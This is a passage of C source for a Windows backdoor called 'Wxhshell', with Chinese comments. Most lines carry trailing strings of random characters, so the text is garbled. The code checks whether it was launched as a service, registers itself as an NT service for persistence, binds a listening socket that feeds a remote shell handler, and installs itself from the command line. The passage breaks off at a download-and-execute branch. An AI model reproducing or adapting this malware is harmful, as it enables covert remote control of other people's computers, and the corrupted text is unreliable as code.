ULONG UniqueProcessId; L>$yslH;b
ULONG InheritedFromUniqueProcessId; ^_3idLE
} PROCESS_BASIC_INFORMATION; `L`*jA+_
A<^IG+Q,B7
PROCNTQSIP NtQueryInformationProcess; o:#l r{
#6'oor X
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <uNBsYMuC
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; # 'G/&&<
!%J;dOcU
HANDLE hProcess; )c5M;/s
PROCESS_BASIC_INFORMATION pbi; gT-'#K2qT
_Hi;Y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6NJ"ty9Bp
if(NULL == hInst ) return 0; ;RZ@t6^
u7G@VZ Ux5
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yo;/7gG>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yXS ~PG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bO1J#bcZ
Nkn0G_
if (!NtQueryInformationProcess) return 0; 0trVmWQ8
>
C{^{?~u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =[(1u|H9
if(!hProcess) return 0; UBuk-tq
xc Wr hg
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 84)$ CA+NX
;YNN)P%"
CloseHandle(hProcess); K"VphKvR
AuUT 'E@E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7^'TU=ss_
if(hProcess==NULL) return 0; HxAq& J;xu
+l@H[r;$
HMODULE hMod; CCfuz &
char procName[255]; "o#"u[W,
unsigned long cbNeeded; ^Tc&?\3
J}EQ_FC"$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "RuJlp
pSkP8'
?
CloseHandle(hProcess); "5%G[MB
5^cPG" 4@
if(strstr(procName,"services")) return 1; // 以服务启动 i0 {pm q
pez*kU+9
return 0; // 注册表启动 Z!G_" 3
} yw"FI!M
-VD[iH
// 主模块 En8-Hc#NC
int StartWxhshell(LPSTR lpCmdLine) &tw.]3
{ N~l(ng9'U
SOCKET wsl; &WN4/=QW-J
BOOL val=TRUE; \2-!%i,
int port=0; $5yS`IqS
struct sockaddr_in door; GBtBmV/`
g2;JJ}
if(wscfg.ws_autoins) Install(); QW6F24
g[*+R9'
port=atoi(lpCmdLine); AOWX=`J8V
v3Tr6[9
if(port<=0) port=wscfg.ws_port; c.m '%4
XD{U5.z>y
WSADATA data; :y !e6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =+~e44!~D
Et(Q$/W
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "uN
JQ0Y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z66akr
door.sin_family = AF_INET; "@W0Lk[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;nji<
door.sin_port = htons(port); .oH0yNFX
zBay 3a
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~
61?nu
closesocket(wsl); dn$1OhN8M
return 1; mC
n,I
} A|CW4f,
i&-g 0
if(listen(wsl,2) == INVALID_SOCKET) { %Z 9<La
closesocket(wsl); a-4'jT:
return 1; R3d>|`) +
} iN0pYqY*
Wxhshell(wsl); ,G
e7
9(
WSACleanup(); 9'o!9_j
djS?$WBpU
return 0; y1,L0v$=}
kwMuL>5
} 8;P8CKe
%O%+TR7Z
// 以NT服务方式启动 iUi{)xa2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1}tZ,w>
{ oR5hMu;j+
DWORD status = 0; (Z=ziopDE
DWORD specificError = 0xfffffff; N$M#3Y;
@SDsd^N{2P
serviceStatus.dwServiceType = SERVICE_WIN32; Pqo_+fL+
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Zd1+ZH
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NO P~?p
serviceStatus.dwWin32ExitCode = 0; 4
`Z @^W
serviceStatus.dwServiceSpecificExitCode = 0; Vg#s
serviceStatus.dwCheckPoint = 0; k[6@\D-
serviceStatus.dwWaitHint = 0; AEX]_1TG
]3
YJEP
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ufv{6"sH
if (hServiceStatusHandle==0) return; Q~,E
K
Umv_{n`
status = GetLastError(); %pc0a^iB
if (status!=NO_ERROR) P;VR[d4e/
{ eoR@5OA&
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1|;WaO1Q
serviceStatus.dwCheckPoint = 0; $B~a*zZ7
serviceStatus.dwWaitHint = 0; Aw4Qm2Kf
serviceStatus.dwWin32ExitCode = status; #Q^mdv?
serviceStatus.dwServiceSpecificExitCode = specificError; @IB8(TZ5I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [_|iW%<`
return; L0UAS'hf
} f4/!iiS}r
b[uTt'p}
serviceStatus.dwCurrentState = SERVICE_RUNNING; nkS6A}i3o
serviceStatus.dwCheckPoint = 0; E-*udQ
serviceStatus.dwWaitHint = 0; agBKp!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e:AB!k^xp$
} YCh!D dy
SQvicZAN)`
// 处理NT服务事件,比如:启动、停止 g|"z'_
VOID WINAPI NTServiceHandler(DWORD fdwControl) xO/44D
{ VEpIAC4
switch(fdwControl) %T}{rU~X
{ r;O{et't7y
case SERVICE_CONTROL_STOP: ksu:RJ-
serviceStatus.dwWin32ExitCode = 0; '(+l77G
serviceStatus.dwCurrentState = SERVICE_STOPPED; XwX1i!'54
serviceStatus.dwCheckPoint = 0; @*is]d+Ya
serviceStatus.dwWaitHint = 0;
6C
r$R]5
{ O5_E"um
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OTN"XKa$
} [DGq{(O
return; I #1_
case SERVICE_CONTROL_PAUSE: (cC5zv*E
serviceStatus.dwCurrentState = SERVICE_PAUSED; x ~Se-#$
break; "
8;D^
case SERVICE_CONTROL_CONTINUE: at7/KuY!~
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0<nKB}9
break; ~+l%}4RZ
case SERVICE_CONTROL_INTERROGATE: IdzF<>;W
break; .IF dJ
}; !RiPr(m@y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qpp:h_E
} 1 68U-<
@VxBURZ?
// 标准应用程序主函数 G <Lm}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "q#(}1Zd
{ , LcMNP r
r)+dK}xl
// 获取操作系统版本 /V7u0y
OsIsNt=GetOsVer(); (e F5?I
GetModuleFileName(NULL,ExeFile,MAX_PATH); t9 &O0tpe
gMHH3^\VH)
// 从命令行安装 '\_ic=&u
if(strpbrk(lpCmdLine,"iI")) Install(); c^Wm~"r
Hsp|<;Yg
// 下载执行文件 Ig N,]y
if(wscfg.ws_downexe) { "_H&